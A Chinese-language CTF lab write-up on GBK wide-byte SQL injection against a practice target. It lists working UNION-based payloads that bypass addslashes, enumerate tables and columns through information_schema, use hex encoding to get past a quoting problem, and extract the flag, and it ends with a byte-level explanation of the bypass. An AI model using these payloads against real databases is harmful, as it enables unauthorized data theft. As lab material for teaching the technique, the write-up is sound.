>lhzctf

S08 宽字节注入(GBK)

1.打开靶机

依旧存在输入框 给出提示

服务端用了 addslashes()(在引号前加反斜杠),但连接字符集是 GBK:%df + 反斜杠会被当成一个汉字吃掉,你打的单引号就活了下来。

2.尝试注入

在地址栏中不能直接输入# 会被当成锚点分隔符 可以使用– -代替 或直接写为%23

?name=%df' union select 1,database(),version()%23

得到版本号

8.0.43

说明注入成功

3.查询表名

?name=%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

得到表名

comments,flags,logs,news,products,subs,users,vip

4.查询列名

?name=%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=%df"flags%df"%23

发现不行 因为会被拼为

table_name=<汉字>"flags<汉字>"

会直接报错 选择用十六进制编码绕过

?name=%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x666c616773%23

得到列名

flag,level,note

5.查询元素

?name=%df' union select 1,2,group_concat(flag) from flags%23 

得到flag

flag{sqli_08_wide_byte_gbk}

6. 原理:转义符是如何被吃掉的

addslashes 会在每个单引号前插入 0x5C: 输入 %df’ → DF 27 addslashes → DF 5C 27

GBK 首字节范围 0x81–0xFE 尾字节范围 0x40–0xFE(0x7F 除外)

0xDF 是合法首字节 0x5C 恰好落在尾字节范围 于是 MySQL 把DF 5C 当成一个汉字消费掉 0x27 恢复成真正的单引号 字符串被闭合

对比 utf8mb4:0xDF 不是合法 UTF-8 起始字节 0x5C 也不会被当作多字节的一部分 转义正常生效